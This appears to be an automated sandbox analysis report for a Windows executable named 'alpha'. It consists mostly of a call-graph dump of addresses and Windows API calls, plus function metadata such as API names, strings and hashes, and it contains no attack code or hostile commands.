22402->22397 22403 7ff6bf3e291c 8 API calls 22428 7ff6bf3dc762 22403->22428 22404 7ff6bf3dc9b5 22408 7ff6bf3e855c ??_V@YAXPEAX 22404->22408 22405 7ff6bf3d89c0 23 API calls 22409 7ff6bf3dc964 22405->22409 22406 7ff6bf3dc978 towupper 22406->22409 22407 7ff6bf3e855c ??_V@YAXPEAX 22407->22428 22431 7ff6bf3dc855 22408->22431 22409->22398 22409->22404 22409->22405 22409->22406 22409->22409 22413 7ff6bf3fec14 173 API calls 22409->22413 22409->22428 22436 7ff6bf3dca16 GetLastError 22409->22436 22410->22397 22410->22404 22411 7ff6bf3dd3f0 223 API calls 22410->22411 22410->22428 22414 7ff6bf3dc741 22411->22414 22412 7ff6bf3dc872 22415 7ff6bf3e855c ??_V@YAXPEAX 22412->22415 22413->22428 22417 7ff6bf3dc74d 22414->22417 22419 7ff6bf3dc8b5 wcsncmp 22414->22419 22418 7ff6bf3dc87c 22415->22418 22416 7ff6bf3ec6b8 SetConsoleTitleW 22416->22412 22420 7ff6bf3dbd38 207 API calls 22417->22420 22417->22428 22421 7ff6bf3e8f80 7 API calls 22418->22421 22419->22417 22419->22428 22420->22428 22423 7ff6bf3dc88e 22421->22423 22422 7ff6bf3dc83d 22573 7ff6bf3dcb40 22422->22573 22423->22379 22425 7ff6bf3dc78a wcschr 22425->22428 22427 7ff6bf3dca25 22432 7ff6bf3d3278 166 API calls 22427->22432 22428->22397 22428->22403 22428->22407 22428->22409 22428->22422 22428->22425 22428->22427 22430 7ff6bf3ec684 22428->22430 22434 7ff6bf3dca2a 22428->22434 22433 7ff6bf3d3278 166 API calls 22430->22433 22431->22412 22431->22416 22432->22397 22433->22397 22435 7ff6bf3e9158 7 API calls 22434->22435 22435->22397 22438 7ff6bf3d3278 166 API calls 22436->22438 22439 7ff6bf3ec675 22438->22439 22439->22397 22441 7ff6bf3dcd90 166 API calls 22440->22441 22442 7ff6bf3e5b12 22441->22442 22443 7ff6bf3dcb40 166 API calls 22442->22443 22468 7ff6bf3e5b8b 22442->22468 22445 7ff6bf3e5b26 22443->22445 22444 7ff6bf3e8f80 7 API calls 22446 7ff6bf3dbf99 22444->22446 22447 7ff6bf3e0a6c 273 API calls 22445->22447 22445->22468 22446->22379 22448 7ff6bf3e5b43 22447->22448 22449 7ff6bf3e5bb8 22448->22449 22450 7ff6bf3e5b48 GetConsoleTitleW 22448->22450 22452 7ff6bf3e5bf4 22449->22452 22453 7ff6bf3e5bbd GetConsoleTitleW 22449->22453 22451 7ff6bf3dcad4 172 API calls 22450->22451 22454 7ff6bf3e5b66 22451->22454 22455 7ff6bf3ef452 22452->22455 22456 7ff6bf3e5bfd 22452->22456 22457 7ff6bf3dcad4 172 API calls 22453->22457 22589 7ff6bf3e4224 InitializeProcThreadAttributeList 22454->22589 22460 7ff6bf3e3c24 166 API calls 22455->22460 22463 7ff6bf3ef462 22456->22463 22464 7ff6bf3e5c1b 22456->22464 22456->22468 22458 7ff6bf3e5bdb 22457->22458 22649 7ff6bf3d96e8 22458->22649 22460->22468 22462 7ff6bf3e5b7f 22467 7ff6bf3e5c3c SetConsoleTitleW 22462->22467 22466 7ff6bf3d3278 166 API calls 22463->22466 22465 7ff6bf3d3278 166 API calls 22464->22465 22465->22468 22466->22468 22467->22468 22468->22444 22470 7ff6bf3dc01c 22469->22470 22490 7ff6bf3dc0c4 22469->22490 22471 7ff6bf3dc022 22470->22471 22472 7ff6bf3dc086 22470->22472 22474 7ff6bf3dc113 22471->22474 22475 7ff6bf3dc030 22471->22475 22473 7ff6bf3dc094 22472->22473 22477 7ff6bf3dc144 22472->22477 22482 7ff6bf3dc460 183 API calls 22473->22482 22473->22490 22485 7ff6bf3dff70 2 API calls 22474->22485 22502 7ff6bf3dc053 22474->22502 22476 7ff6bf3dc039 wcschr 22475->22476 22475->22502 22478 7ff6bf3dc301 22476->22478 22476->22502 22480 7ff6bf3dc151 22477->22480 22506 7ff6bf3dc1c8 22477->22506 22484 7ff6bf3dcd90 166 API calls 22478->22484 22479 7ff6bf3dc0c6 22483 7ff6bf3dc0cf wcschr 22479->22483 22488 7ff6bf3dc073 22479->22488 22855 7ff6bf3dc460 22480->22855 22482->22473 22486 7ff6bf3dc1be 22483->22486 22483->22488 22505 7ff6bf3dc30b 22484->22505 22485->22502 22492 7ff6bf3dcd90 166 API calls 22486->22492 22487 7ff6bf3dc058 22487->22488 22491 7ff6bf3dff70 2 API calls 22487->22491 22488->22490 22494 7ff6bf3dc460 183 API calls 22488->22494 22490->22365 22491->22488 22492->22506 22493 7ff6bf3dc460 183 API calls 22493->22490 22494->22488 22495 7ff6bf3dc285 22496 7ff6bf3dc211 22495->22496 22500 7ff6bf3db6b0 170 API calls 22495->22500 22497 7ff6bf3dff70 2 API calls 22496->22497 22497->22490 22498 7ff6bf3dd840 178 API calls 22498->22505 22499 7ff6bf3db6b0 170 API calls 22499->22502 22503 7ff6bf3dc2ac 22500->22503 22501 7ff6bf3dd840 178 API calls 22501->22506 22502->22479 22502->22487 22502->22496 22503->22488 22503->22496 22504 7ff6bf3dc3d4 22504->22488 22504->22496 22504->22499 22505->22490 22505->22496 22505->22498 22505->22504 22506->22490 22506->22495 22506->22496 22506->22501 22508 7ff6bf3dca40 17 API calls 22507->22508 22524 7ff6bf3db162 22508->22524 22509 7ff6bf3db2e1 22510 7ff6bf3db303 22509->22510 22511 7ff6bf3db2f7 ??_V@YAXPEAX 22509->22511 22513 7ff6bf3e8f80 7 API calls 22510->22513 22511->22510 22512 7ff6bf3db1d9 22516 7ff6bf3dcd90 166 API calls 22512->22516 22532 7ff6bf3db1ed 22512->22532 22515 7ff6bf3db315 22513->22515 22514 7ff6bf3e1ea0 8 API calls 22514->22524 22515->22370 22515->22381 22516->22532 22518 7ff6bf3ebfef _get_osfhandle SetFilePointer 22521 7ff6bf3ec01d 22518->22521 22518->22532 22519 7ff6bf3db228 _get_osfhandle 22520 7ff6bf3db23f _get_osfhandle 22519->22520 22519->22532 22520->22532 22523 7ff6bf3e33f0 _vsnwprintf 22521->22523 22526 7ff6bf3ec038 22523->22526 22524->22509 22524->22512 22524->22514 22524->22524 22525 7ff6bf3e01b8 6 API calls 22525->22532 22531 7ff6bf3d3278 166 API calls 22526->22531 22527 7ff6bf3ec1c3 22528 7ff6bf3e33f0 _vsnwprintf 22527->22528 22528->22526 22529 7ff6bf3dd208 _close 22529->22532 22530 7ff6bf3e26e0 19 API calls 22530->22532 22533 7ff6bf3ec1f9 22531->22533 22532->22509 22532->22518 22532->22519 22532->22525 22532->22527 22532->22529 22532->22530 22534 7ff6bf3ec060 22532->22534 22536 7ff6bf3db038 _dup2 22532->22536 22537 7ff6bf3ec246 22532->22537 22542 7ff6bf3db356 22532->22542 22566 7ff6bf3ec1a5 22532->22566 22869 7ff6bf3daffc _dup 22532->22869 22871 7ff6bf3ff318 _get_osfhandle GetFileType 22532->22871 22535 7ff6bf3daf98 2 API calls 22533->22535 22534->22537 22540 7ff6bf3e09f4 2 API calls 22534->22540 22535->22509 22536->22532 22538 7ff6bf3daf98 2 API calls 22537->22538 22541 7ff6bf3ec24b 22538->22541 22539 7ff6bf3db038 _dup2 22543 7ff6bf3ec1b7 22539->22543 22544 7ff6bf3ec084 22540->22544 22545 7ff6bf3ff1d8 166 API calls 22541->22545 22551 7ff6bf3daf98 2 API calls 22542->22551 22546 7ff6bf3ec1be 22543->22546 22547 7ff6bf3ec207 22543->22547 22548 7ff6bf3db900 166 API calls 22544->22548 22545->22509 22552 7ff6bf3dd208 _close 22546->22552 22550 7ff6bf3dd208 _close 22547->22550 22549 7ff6bf3ec08c 22548->22549 22553 7ff6bf3ec094 wcsrchr 22549->22553 22563 7ff6bf3ec0ad 22549->22563 22550->22542 22554 7ff6bf3ec211 22551->22554 22552->22527 22553->22563 22555 7ff6bf3e33f0 _vsnwprintf 22554->22555 22556 7ff6bf3ec22c 22555->22556 22557 7ff6bf3d3278 166 API calls 22556->22557 22557->22509 22558 7ff6bf3ec106 22559 7ff6bf3dff70 2 API calls 22558->22559 22561 7ff6bf3ec13b 22559->22561 22560 7ff6bf3ec0e0 _wcsnicmp 22560->22563 22561->22537 22562 7ff6bf3ec146 SearchPathW 22561->22562 22562->22537 22564 7ff6bf3ec188 22562->22564 22563->22558 22563->22560 22563->22563 22565 7ff6bf3e26e0 19 API calls 22564->22565 22565->22566 22566->22539 22568 7ff6bf3d7279 22567->22568 22569 7ff6bf3d7211 _setjmp 22567->22569 22568->22384 22569->22568 22571 7ff6bf3d7265 22569->22571 22872 7ff6bf3d72b0 22571->22872 22574 7ff6bf3dcb63 22573->22574 22575 7ff6bf3dcd90 166 API calls 22574->22575 22576 7ff6bf3dc848 22575->22576 22576->22431 22577 7ff6bf3dcad4 22576->22577 22578 7ff6bf3dcad9 22577->22578 22586 7ff6bf3dcb05 22577->22586 22579 7ff6bf3dcd90 166 API calls 22578->22579 22578->22586 22580 7ff6bf3ec722 22579->22580 22581 7ff6bf3ec72e GetConsoleTitleW 22580->22581 22580->22586 22582 7ff6bf3ec74a 22581->22582 22581->22586 22583 7ff6bf3db6b0 170 API calls 22582->22583 22588 7ff6bf3ec778 22583->22588 22584 7ff6bf3ec7ec 22585 7ff6bf3dff70 2 API calls 22584->22585 22585->22586 22586->22431 22587 7ff6bf3ec7dd SetConsoleTitleW 22587->22584 22588->22584 22588->22587 22590 7ff6bf3eecd4 GetLastError 22589->22590 22591 7ff6bf3e42ab UpdateProcThreadAttribute 22589->22591 22592 7ff6bf3eecee 22590->22592 22593 7ff6bf3eecf0 GetLastError 22591->22593 22594 7ff6bf3e42eb memset memset GetStartupInfoW 22591->22594 22686 7ff6bf3f9eec 22593->22686 22596 7ff6bf3e3a90 170 API calls 22594->22596 22598 7ff6bf3e43a8 22596->22598 22599 7ff6bf3db900 166 API calls 22598->22599 22600 7ff6bf3e43bb 22599->22600 22601 7ff6bf3e43cc 22600->22601 22602 7ff6bf3e4638 _local_unwind 22600->22602 22603 7ff6bf3e4415 22601->22603 22604 7ff6bf3e43de wcsrchr 22601->22604 22602->22601 22673 7ff6bf3e5a68 _get_osfhandle SetConsoleMode _get_osfhandle SetConsoleMode 22603->22673 22604->22603 22606 7ff6bf3e43f7 lstrcmpW 22604->22606 22606->22603 22608 7ff6bf3e4668 22606->22608 22607 7ff6bf3e441a 22609 7ff6bf3e442a CreateProcessW 22607->22609 22612 7ff6bf3e4596 CreateProcessAsUserW 22607->22612 22674 7ff6bf3f9044 22608->22674 22611 7ff6bf3e448b 22609->22611 22613 7ff6bf3e4672 GetLastError 22611->22613 22614 7ff6bf3e4495 CloseHandle 22611->22614 22612->22611 22622 7ff6bf3e468d 22613->22622 22615 7ff6bf3e498c 8 API calls 22614->22615 22616 7ff6bf3e44c5 22615->22616 22620 7ff6bf3e44cd 22616->22620 22616->22622 22617 7ff6bf3e47a3 22617->22462 22618 7ff6bf3e44f8 22618->22617 22621 7ff6bf3e4612 22618->22621 22624 7ff6bf3e5cb4 7 API calls 22618->22624 22619 7ff6bf3dcd90 166 API calls 22623 7ff6bf3e4724 22619->22623 22620->22617 22620->22618 22637 7ff6bf3fa250 33 API calls 22620->22637 22625 7ff6bf3e461c 22621->22625 22627 7ff6bf3e47e1 CloseHandle 22621->22627 22622->22619 22622->22620 22626 7ff6bf3e472c _local_unwind 22623->22626 22633 7ff6bf3e473d 22623->22633 22628 7ff6bf3e4517 22624->22628 22629 7ff6bf3dff70 GetProcessHeap RtlFreeHeap 22625->22629 22626->22633 22627->22625 22630 7ff6bf3e33f0 _vsnwprintf 22628->22630 22631 7ff6bf3e47fa DeleteProcThreadAttributeList 22629->22631 22632 7ff6bf3e4544 22630->22632 22634 7ff6bf3e8f80 7 API calls 22631->22634 22635 7ff6bf3e498c 8 API calls 22632->22635 22641 7ff6bf3dff70 GetProcessHeap RtlFreeHeap 22633->22641 22638 7ff6bf3e4820 22634->22638 22636 7ff6bf3e4558 22635->22636 22639 7ff6bf3e4564 22636->22639 22640 7ff6bf3e47ae 22636->22640 22637->22618 22638->22462 22642 7ff6bf3e498c 8 API calls 22639->22642 22643 7ff6bf3e33f0 _vsnwprintf 22640->22643 22644 7ff6bf3e475b _local_unwind 22641->22644 22645 7ff6bf3e4577 22642->22645 22643->22621 22644->22620 22645->22625 22646 7ff6bf3e457f 22645->22646 22647 7ff6bf3fa920 210 API calls 22646->22647 22648 7ff6bf3e4584 22647->22648 22648->22625 22653 7ff6bf3d9737 22649->22653 22651 7ff6bf3dcd90 166 API calls 22651->22653 22652 7ff6bf3d977d memset 22654 7ff6bf3dca40 17 API calls 22652->22654 22653->22651 22653->22652 22655 7ff6bf3eb7b3 22653->22655 22656 7ff6bf3eb76e 22653->22656 22657 7ff6bf3eb79a 22653->22657 22660 7ff6bf3db364 17 API calls 22653->22660 22667 7ff6bf3d96b4 186 API calls 22653->22667 22668 7ff6bf3d986d 22653->22668 22688 7ff6bf3e1fac memset 22653->22688 22715 7ff6bf3dce10 22653->22715 22765 7ff6bf3e5920 22653->22765 22654->22653 22658 7ff6bf3d3278 166 API calls 22656->22658 22661 7ff6bf3e855c ??_V@YAXPEAX 22657->22661 22659 7ff6bf3eb787 22658->22659 22662 7ff6bf3eb795 22659->22662 22663 7ff6bf3fe944 393 API calls 22659->22663 22660->22653 22661->22655 22771 7ff6bf3f7694 22662->22771 22663->22662 22667->22653 22669 7ff6bf3d9880 ??_V@YAXPEAX 22668->22669 22670 7ff6bf3d988c 22668->22670 22669->22670 22671 7ff6bf3e8f80 7 API calls 22670->22671 22672 7ff6bf3d989d 22671->22672 22672->22462 22675 7ff6bf3e3a90 170 API calls 22674->22675 22676 7ff6bf3f9064 22675->22676 22677 7ff6bf3f906e 22676->22677 22679 7ff6bf3f9083 22676->22679 22678 7ff6bf3e498c 8 API calls 22677->22678 22680 7ff6bf3f9081 22678->22680 22681 7ff6bf3dcd90 166 API calls 22679->22681 22680->22603 22682 7ff6bf3f909b 22681->22682 22682->22680 22683 7ff6bf3e498c 8 API calls 22682->22683 22684 7ff6bf3f90ec 22683->22684 22685 7ff6bf3dff70 2 API calls 22684->22685 22685->22680 22687 7ff6bf3eed0a DeleteProcThreadAttributeList 22686->22687 22687->22592 22690 7ff6bf3e203b 22688->22690 22689 7ff6bf3e20b0 22691 7ff6bf3e3060 171 API calls 22689->22691 22693 7ff6bf3e211c 22689->22693 22690->22689 22692 7ff6bf3e2094 22690->22692 22691->22693 22694 7ff6bf3e20a6 22692->22694 22695 7ff6bf3d3278 166 API calls 22692->22695 22693->22694 22696 7ff6bf3e2e44 2 API calls 22693->22696 22697 7ff6bf3e8f80 7 API calls 22694->22697 22695->22694 22699 7ff6bf3e2148 22696->22699 22698 7ff6bf3e2325 22697->22698 22698->22653 22699->22694 22700 7ff6bf3e2d70 3 API calls 22699->22700 22701 7ff6bf3e21af 22700->22701 22702 7ff6bf3db900 166 API calls 22701->22702 22704 7ff6bf3e21d0 22702->22704 22703 7ff6bf3ee04a ??_V@YAXPEAX 22703->22694 22704->22703 22705 7ff6bf3e221c wcsspn 22704->22705 22713 7ff6bf3e22a4 ??_V@YAXPEAX 22704->22713 22706 7ff6bf3db900 166 API calls 22705->22706 22708 7ff6bf3e223b 22706->22708 22708->22703 22711 7ff6bf3e2252 22708->22711 22709 7ff6bf3dd3f0 223 API calls 22709->22713 22710 7ff6bf3ee06d wcschr 22710->22711 22711->22710 22712 7ff6bf3ee090 towupper 22711->22712 22714 7ff6bf3e228f 22711->22714 22712->22711 22712->22714 22713->22694 22714->22709 22716 7ff6bf3dd0f8 22715->22716 22747 7ff6bf3dce5b 22715->22747 22718 7ff6bf3e8f80 7 API calls 22716->22718 22717 7ff6bf3ec860 22720 7ff6bf3ec97c 22717->22720 22723 7ff6bf3fee88 390 API calls 22717->22723 22719 7ff6bf3dd10a 22718->22719 22719->22653 22722 7ff6bf3fe9b4 197 API calls 22720->22722 22721 7ff6bf3e0494 182 API calls 22721->22747 22724 7ff6bf3ec981 longjmp 22722->22724 22725 7ff6bf3ec879 22723->22725 22726 7ff6bf3ec99a 22724->22726 22727 7ff6bf3ec882 EnterCriticalSection LeaveCriticalSection 22725->22727 22728 7ff6bf3ec95c 22725->22728 22726->22716 22730 7ff6bf3ec9b3 ??_V@YAXPEAX 22726->22730 22733 7ff6bf3dd0e3 22727->22733 22728->22720 22731 7ff6bf3d96b4 186 API calls 22728->22731 22730->22716 22731->22728 22732 7ff6bf3dceaa _tell 22735 7ff6bf3dd208 _close 22732->22735 22733->22653 22734 7ff6bf3dcd90 166 API calls 22734->22747 22735->22747 22736 7ff6bf3ec9d5 22737 7ff6bf3fd610 167 API calls 22736->22737 22739 7ff6bf3ec9da 22737->22739 22738 7ff6bf3db900 166 API calls 22738->22747 22740 7ff6bf3eca07 22739->22740 22742 7ff6bf3fbfec 176 API calls 22739->22742 22741 7ff6bf3fe91c 198 API calls 22740->22741 22746 7ff6bf3eca0c 22741->22746 22743 7ff6bf3ec9f1 22742->22743 22745 7ff6bf3d3240 166 API calls 22743->22745 22744 7ff6bf3dcf33 memset 22744->22747 22745->22740 22746->22653 22747->22716 22747->22717 22747->22721 22747->22726 22747->22733 22747->22734 22747->22736 22747->22738 22747->22744 22748 7ff6bf3dca40 17 API calls 22747->22748 22749 7ff6bf3fbfec 176 API calls 22747->22749 22750 7ff6bf3dd184 wcschr 22747->22750 22751 7ff6bf3dd1a7 wcschr 22747->22751 22752 7ff6bf3ec9c9 22747->22752 22754 7ff6bf3f778c 166 API calls 22747->22754 22755 7ff6bf3e0a6c 273 API calls 22747->22755 22756 7ff6bf3dbe00 635 API calls 22747->22756 22757 7ff6bf3e3448 166 API calls 22747->22757 22758 7ff6bf3e0580 12 API calls 22747->22758 22759 7ff6bf3dcfab _wcsicmp 22747->22759 22763 7ff6bf3e1fac 238 API calls 22747->22763 22764 7ff6bf3dd044 ??_V@YAXPEAX 22747->22764 22777 7ff6bf3ddf60 22747->22777 22797 7ff6bf3fc738 22747->22797 22748->22747 22749->22747 22750->22747 22751->22747 22753 7ff6bf3e855c ??_V@YAXPEAX 22752->22753 22753->22716 22754->22747 22755->22747 22756->22747 22757->22747 22760 7ff6bf3dd003 GetConsoleOutputCP GetCPInfo 22758->22760 22759->22747 22761 7ff6bf3e04f4 3 API calls 22760->22761 22761->22747 22763->22747 22764->22747 22766 7ff6bf3e596c 22765->22766 22770 7ff6bf3e5a12 22765->22770 22767 7ff6bf3e598d VirtualQuery 22766->22767 22766->22770 22769 7ff6bf3e59ad 22767->22769 22767->22770 22768 7ff6bf3e59b7 VirtualQuery 22768->22769 22768->22770 22769->22768 22769->22770 22770->22653 22772 7ff6bf3f76a3 22771->22772 22773 7ff6bf3f76b7 22772->22773 22774 7ff6bf3d96b4 186 API calls 22772->22774 22775 7ff6bf3fe9b4 197 API calls 22773->22775 22774->22772 22776 7ff6bf3f76bc longjmp 22775->22776 22778 7ff6bf3ddf93 22777->22778 22779 7ff6bf3ddfe2 22777->22779 22778->22779 22780 7ff6bf3ddf9f GetProcessHeap RtlFreeHeap 22778->22780 22781 7ff6bf3de100 VirtualFree 22779->22781 22782 7ff6bf3de00b _setjmp 22779->22782 22780->22778 22780->22779 22781->22779 22783 7ff6bf3de04a 22782->22783 22784 7ff6bf3de0c3 22782->22784 22785 7ff6bf3de600 473 API calls 22783->22785 22784->22732 22786 7ff6bf3de073 22785->22786 22787 7ff6bf3de081 22786->22787 22788 7ff6bf3de0e0 longjmp 22786->22788 22789 7ff6bf3dd250 475 API calls 22787->22789 22796 7ff6bf3de0b0 22788->22796 22790 7ff6bf3de086 22789->22790 22793 7ff6bf3de600 473 API calls 22790->22793 22790->22796 22794 7ff6bf3de0a7 22793->22794 22795 7ff6bf3fd610 167 API calls 22794->22795 22794->22796 22795->22796 22796->22784 22807 7ff6bf3fd3fc 22796->22807 22798 7ff6bf3fc775 22797->22798 22805 7ff6bf3fc7ab 22797->22805 22799 7ff6bf3dcd90 166 API calls 22798->22799 22801 7ff6bf3fc781 22799->22801 22800 7ff6bf3fc8d4 22800->22747 22801->22800 22802 7ff6bf3db0d8 194 API calls 22801->22802 22802->22800 22803 7ff6bf3db6b0 170 API calls 22803->22805 22804 7ff6bf3db038 _dup2 22804->22805 22805->22800 22805->22801 22805->22803 22805->22804 22806 7ff6bf3dd208 _close 22805->22806 22806->22805 22808 7ff6bf3fd419 22807->22808 22809 7ff6bf3fd576 22808->22809 22810 7ff6bf3fd555 22808->22810 22811 7ff6bf3fd592 22808->22811 22812 7ff6bf3fd5c4 22808->22812 22817 7ff6bf3fd541 22808->22817 22818 7ff6bf3ecadf 22808->22818 22823 7ff6bf3fd3fc 166 API calls 22808->22823 22824 7ff6bf3e3448 166 API calls 22808->22824 22809->22810 22809->22811 22832 7ff6bf3fd31c 22810->22832 22813 7ff6bf3e3448 166 API calls 22811->22813 22814 7ff6bf3e3448 166 API calls 22812->22814 22816 7ff6bf3fd5a5 22813->22816 22814->22818 22819 7ff6bf3fd5ba 22816->22819 22821 7ff6bf3e3448 166 API calls 22816->22821 22817->22811 22820 7ff6bf3fd546 22817->22820 22825 7ff6bf3fd36c 22819->22825 22820->22810 22820->22812 22821->22819 22823->22808 22824->22808 22826 7ff6bf3fd381 22825->22826 22827 7ff6bf3fd3d8 22825->22827 22828 7ff6bf3e34a0 166 API calls 22826->22828 22831 7ff6bf3fd390 22828->22831 22829 7ff6bf3e3448 166 API calls 22829->22831 22830 7ff6bf3e34a0 166 API calls 22830->22831 22831->22827 22831->22829 22831->22830 22833 7ff6bf3e3448 166 API calls 22832->22833 22834 7ff6bf3fd33b 22833->22834 22835 7ff6bf3fd36c 166 API calls 22834->22835 22836 7ff6bf3fd343 22835->22836 22837 7ff6bf3fd3fc 166 API calls 22836->22837 22854 7ff6bf3fd34e 22837->22854 22838 7ff6bf3fd5c2 22838->22818 22839 7ff6bf3e3448 166 API calls 22839->22854 22840 7ff6bf3fd576 22841 7ff6bf3fd592 22840->22841 22852 7ff6bf3fd555 22840->22852 22843 7ff6bf3e3448 166 API calls 22841->22843 22842 7ff6bf3fd5c4 22844 7ff6bf3e3448 166 API calls 22842->22844 22846 7ff6bf3fd5a5 22843->22846 22844->22838 22845 7ff6bf3fd31c 166 API calls 22845->22838 22848 7ff6bf3fd5ba 22846->22848 22850 7ff6bf3e3448 166 API calls 22846->22850 22847 7ff6bf3fd541 22847->22841 22849 7ff6bf3fd546 22847->22849 22851 7ff6bf3fd36c 166 API calls 22848->22851 22849->22842 22849->22852 22850->22848 22851->22838 22852->22845 22853 7ff6bf3fd3fc 166 API calls 22853->22854 22854->22838 22854->22839 22854->22840 22854->22841 22854->22842 22854->22847 22854->22852 22854->22853 22856 7ff6bf3dc486 22855->22856 22857 7ff6bf3dc4c9 22855->22857 22858 7ff6bf3dc48e wcschr 22856->22858 22862 7ff6bf3dc161 22856->22862 22860 7ff6bf3dff70 2 API calls 22857->22860 22857->22862 22859 7ff6bf3dc4ef 22858->22859 22858->22862 22861 7ff6bf3dcd90 166 API calls 22859->22861 22860->22862 22868 7ff6bf3dc4f9 22861->22868 22862->22490 22862->22493 22863 7ff6bf3dc5bd 22864 7ff6bf3dc541 22863->22864 22865 7ff6bf3db6b0 170 API calls 22863->22865 22864->22862 22867 7ff6bf3dff70 2 API calls 22864->22867 22865->22864 22866 7ff6bf3dd840 178 API calls 22866->22868 22867->22862 22868->22862 22868->22863 22868->22864 22868->22866 22870 7ff6bf3db018 22869->22870 22870->22532 22871->22532 22873 7ff6bf3d72de 22872->22873 22874 7ff6bf3f4621 22872->22874 22875 7ff6bf3d72eb 22873->22875 22879 7ff6bf3f4530 22873->22879 22880 7ff6bf3f4467 22873->22880 22876 7ff6bf3f447b longjmp 22874->22876 22881 7ff6bf3f4639 22874->22881 22896 7ff6bf3f47e0 22874->22896 22903 7ff6bf3f475e 22874->22903 22933 7ff6bf3d7348 22875->22933 22882 7ff6bf3f4492 22876->22882 22877 7ff6bf3d7348 168 API calls 22920 7ff6bf3f4524 22877->22920 22886 7ff6bf3d7348 168 API calls 22879->22886 22880->22875 22880->22882 22890 7ff6bf3f4475 22880->22890 22883 7ff6bf3f4695 22881->22883 22884 7ff6bf3f463e 22881->22884 22885 7ff6bf3d7348 168 API calls 22882->22885 22889 7ff6bf3d73d4 168 API calls 22883->22889 22884->22876 22897 7ff6bf3f4654 22884->22897 22906 7ff6bf3f44a8 22885->22906 22908 7ff6bf3f4549 22886->22908 22887 7ff6bf3d7315 22948 7ff6bf3d73d4 22887->22948 22912 7ff6bf3f469a 22889->22912 22890->22876 22890->22883 22891 7ff6bf3d7348 168 API calls 22891->22896 22892 7ff6bf3d72b0 168 API calls 22899 7ff6bf3f480e 22892->22899 22893 7ff6bf3d7348 168 API calls 22893->22887 22895 7ff6bf3d7323 22895->22568 22896->22877 22909 7ff6bf3d7348 168 API calls 22897->22909 22898 7ff6bf3f45b2 22901 7ff6bf3d7348 168 API calls 22898->22901 22899->22568 22900 7ff6bf3f46e1 22904 7ff6bf3d72b0 168 API calls 22900->22904 22905 7ff6bf3f45c7 22901->22905 22902 7ff6bf3f455e 22902->22898 22913 7ff6bf3d7348 168 API calls 22902->22913 22903->22891 22911 7ff6bf3f4738 22904->22911 22914 7ff6bf3d7348 168 API calls 22905->22914 22907 7ff6bf3f44e2 22906->22907 22915 7ff6bf3d7348 168 API calls 22906->22915 22910 7ff6bf3d72b0 168 API calls 22907->22910 22908->22898 22908->22902 22921 7ff6bf3d7348 168 API calls 22908->22921 22909->22895 22916 7ff6bf3f44f1 22910->22916 22917 7ff6bf3d7348 168 API calls 22911->22917 22912->22900 22924 7ff6bf3f46ea 22912->22924 22925 7ff6bf3f46c7 22912->22925 22913->22898 22918 7ff6bf3f45db 22914->22918 22915->22907 22919 7ff6bf3d72b0 168 API calls 22916->22919 22917->22920 22922 7ff6bf3d7348 168 API calls 22918->22922 22923 7ff6bf3f4503 22919->22923 22920->22892 22920->22895 22921->22902 22926 7ff6bf3f45ec 22922->22926 22923->22895 22929 7ff6bf3d7348 168 API calls 22923->22929 22927 7ff6bf3d7348 168 API calls 22924->22927 22925->22900 22930 7ff6bf3d7348 168 API calls 22925->22930 22928 7ff6bf3d7348 168 API calls 22926->22928 22927->22900 22931 7ff6bf3f4600 22928->22931 22929->22920 22930->22900 22932 7ff6bf3d7348 168 API calls 22931->22932 22932->22920 22935 7ff6bf3d735d 22933->22935 22934 7ff6bf3d3278 166 API calls 22936 7ff6bf3f4820 longjmp 22934->22936 22935->22934 22935->22935 22937 7ff6bf3f4838 22935->22937 22947 7ff6bf3d73ab 22935->22947 22936->22937 22938 7ff6bf3d3278 166 API calls 22937->22938 22939 7ff6bf3f4844 longjmp 22938->22939 22940 7ff6bf3f485a 22939->22940 22941 7ff6bf3d7348 166 API calls 22940->22941 22942 7ff6bf3f487b 22941->22942 22943 7ff6bf3d7348 166 API calls 22942->22943 22944 7ff6bf3f48ad 22943->22944 22945 7ff6bf3d7348 166 API calls 22944->22945 22946 7ff6bf3d72ff 22945->22946 22946->22887 22946->22893 22949 7ff6bf3d7401 22948->22949 22949->22895 22950 7ff6bf3d7348 168 API calls 22949->22950 22951 7ff6bf3f487b 22950->22951 22952 7ff6bf3d7348 168 API calls 22951->22952 22953 7ff6bf3f48ad 22952->22953 22954 7ff6bf3d7348 168 API calls 22953->22954 22955 7ff6bf3f48be 22954->22955 22955->22895

                                                    Executed Functions

                                                    Function 00007FF6BF3E0A6C Relevance: 53.1, APIs: 23, Strings: 7, Instructions: 605COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: _wcsicmpwcschrwcsrchr$CurrentDirectoryNeedPath_wcsnicmpmemset
                                                    • String ID: .BAT$.CMD$.COM;.EXE;.BAT;.CMD;.VBS;.JS;.WS;.MSC$COMSPEC$PATH$PATHEXT$cmd
                                                    • API String ID: 3305344409-4288247545
                                                    • Opcode ID: 32027d78a79c69abf99783d1267dc340374f751313a3c2012563c12dbbf382bc
                                                    • Instruction ID: 7c79fdbda8c91559b092a6385bed104c3d4770484e67bfb4d348e2ef5c492896
                                                    • Opcode Fuzzy Hash: 32027d78a79c69abf99783d1267dc340374f751313a3c2012563c12dbbf382bc
                                                    • Instruction Fuzzy Hash: AE42D271A1C68285EB609BAD98402B967A0EF85B94F444134DF5ECF7F5DF3CE94483A0
                                                    Function 00007FF6BF3DAA54 Relevance: 51.3, APIs: 24, Strings: 5, Instructions: 536COMMON
                                                    Download Yara Rule

                                                    Control-flow Graph

                                                    • Executed
                                                    • Not Executed
